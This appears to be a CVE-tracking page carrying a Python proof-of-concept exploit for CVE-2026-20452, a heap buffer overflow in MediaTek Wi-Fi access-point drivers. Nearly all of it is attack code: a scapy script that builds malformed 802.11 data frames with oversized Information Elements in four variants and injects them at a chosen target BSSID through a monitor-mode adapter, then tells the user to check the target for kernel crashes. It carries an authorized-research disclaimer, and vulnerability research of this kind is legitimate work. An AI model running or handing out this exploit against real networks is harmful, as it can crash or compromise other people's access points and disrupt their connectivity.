5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-20452 — MediaTek WLAN AP Driver Heap Buffer Overflow PoC

A proof-of-concept exploit for the heap-based buffer overflow in MediaTek's
WLAN Access Point driver. The vulnerability (CWE-122) affects MediaTek Wi-Fi
chipsets MT7615, MT7915, MT7916, MT7981, MT7986, MT7990, MT7992, MT7993,
and MT6890 when operating in AP mode.

The PoC crafts malformed 802.11 data frames with oversized Information
Elements and injects them via a monitor-mode Wi-Fi adapter.

Affected: MediaTek WLAN AP driver (patch ID: WCNCR00480138)
Bulletin: https://corp.mediatek.com/product-security-bulletin/June-2026

DISCLAIMER: This PoC is for authorized security research and educational
purposes only. Transmitting on Wi-Fi frequencies may require legal
authorization. Do not use against systems you do not own or have explicit
permission to test.
"""

import argparse
import socket
import struct
import sys
import time


try:
    from scapy.all import (
        RadioTap,
        Dot11,
        Dot11QoS,
        Raw,
        sendp,
        conf,
    )
except ImportError:
    print("[-] scapy is required: pip install scapy")
    sys.exit(1)


def craft_overflow_frame(bssid, attacker_mac, overflow_size=512, variant=0):
    """
    Craft an 802.11 QoS Data frame with malformed IEs.

    The IEEE 802.11 standard uses TLV-encoded Information Elements (IEs).
    Each IE has: 1 byte type | 1 byte length | N bytes value.
    The AP driver allocates a heap buffer based on expected IE size and copies
    the IE value into it. An oversized IE overflows the heap buffer.
    """
    dot11 = Dot11(
        type=2,
        subtype=8,
        addr1=bssid,
        addr2=attacker_mac,
        addr3=bssid,
        FCfield="to-DS",
    )

    if variant == 0:
        # Variant 0: Single oversized Vendor Specific IE (type 221)
        ie_type = 221
        oui = b"\x00\x50\x43"
        ie_value = oui + b"\x42" * (overflow_size - 3)
        ie = bytes([ie_type, min(overflow_size, 255)]) + ie_value[:252]
    elif variant == 1:
        # Variant 1: Chained malformed IEs (multiple small overflows)
        ie = b""
        for i in range(overflow_size // 32):
            ie += bytes([221, 28]) + b"\x00\x50\x43" + b"\x41" * 25
        ie += bytes([0, 0])  # SSID IE with zero length
    elif variant == 2:
        # Variant 2: Oversized HT Capabilities IE (type 45)
        ie_type = 45
        ie = bytes([ie_type, min(overflow_size, 255)]) + b"\x43" * min(overflow_size - 2, 253)
    else:
        # Variant 3: Extended Capabilities IE (type 127) with length > 8
        ie_type = 127
        ie = bytes([ie_type, min(overflow_size, 255)]) + b"\xff" * min(overflow_size - 2, 253)

    qos = Raw(load=b"\x00\x00")
    payload = Raw(load=ie)

    frame = RadioTap() / dot11 / qos / payload
    return frame


def validate_mac(mac_str):
    try:
        parts = mac_str.split(":")
        if len(parts) != 6:
            return False
        for p in parts:
            int(p, 16)
        return True
    except ValueError:
        return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-20452 MediaTek WLAN AP Heap Overflow PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66
  %(prog)s --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66 --overflow-size 1024
  %(prog)s --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66 --variant 2 --count 50
        """,
    )
    parser.add_argument("--interface", required=True, help="Monitor-mode Wi-Fi interface (e.g., wlan0mon)")
    parser.add_argument("--bssid", required=True, help="Target AP BSSID (MAC address)")
    parser.add_argument("--attacker", required=True, help="Attacker's MAC address")
    parser.add_argument("--overflow-size", type=int, default=512, help="Overflow payload size (default: 512)")
    parser.add_argument("--variant", type=int, default=0, choices=[0, 1, 2, 3], help="IE variant (0=Vendor, 1=Chained, 2=HT Caps, 3=Ext Caps)")
    parser.add_argument("--count", type=int, default=10, help="Number of frames to inject (default: 10)")
    parser.add_argument("--delay", type=float, default=0.1, help="Delay between frames in seconds (default: 0.1)")

    args = parser.parse_args()

    if not validate_mac(args.bssid):
        print(f"[-] Invalid BSSID: {args.bssid}")
        sys.exit(1)
    if not validate_mac(args.attacker):
        print(f"[-] Invalid attacker MAC: {args.attacker}")
        sys.exit(1)

    variant_names = {0: "Vendor Specific IE", 1: "Chained IEs", 2: "HT Capabilities IE", 3: "Extended Capabilities IE"}

    print(f"[*] CVE-2026-20452 — MediaTek WLAN AP Heap Overflow PoC")
    print(f"[*] Target BSSID: {args.bssid}")
    print(f"[*] Attacker MAC: {args.attacker}")
    print(f"[*] Interface: {args.interface}")
    print(f"[*] Overflow size: {args.overflow_size} bytes")
    print(f"[*] IE variant: {variant_names[args.variant]}")
    print(f"[*] Frames to inject: {args.count}")
    print()

    conf.verb = 0

    for i in range(args.count):
        frame = craft_overflow_frame(
            bssid=args.bssid,
            attacker_mac=args.attacker,
            overflow_size=args.overflow_size,
            variant=args.variant,
        )

        try:
            sendp(frame, iface=args.interface, verbose=False)
            print(f"  [+] Frame {i+1}/{args.count} injected ({len(bytes(frame))} bytes)")
        except Exception as e:
            print(f"  [-] Frame {i+1}/{args.count} failed: {e}")
            break

        if args.delay > 0 and i < args.count - 1:
            time.sleep(args.delay)

    print()
    print(f"[*] Injection complete. Monitor target for kernel oops or crashes.")
    print(f"[*] Check target: dmesg | tail -20")


if __name__ == "__main__":
    main()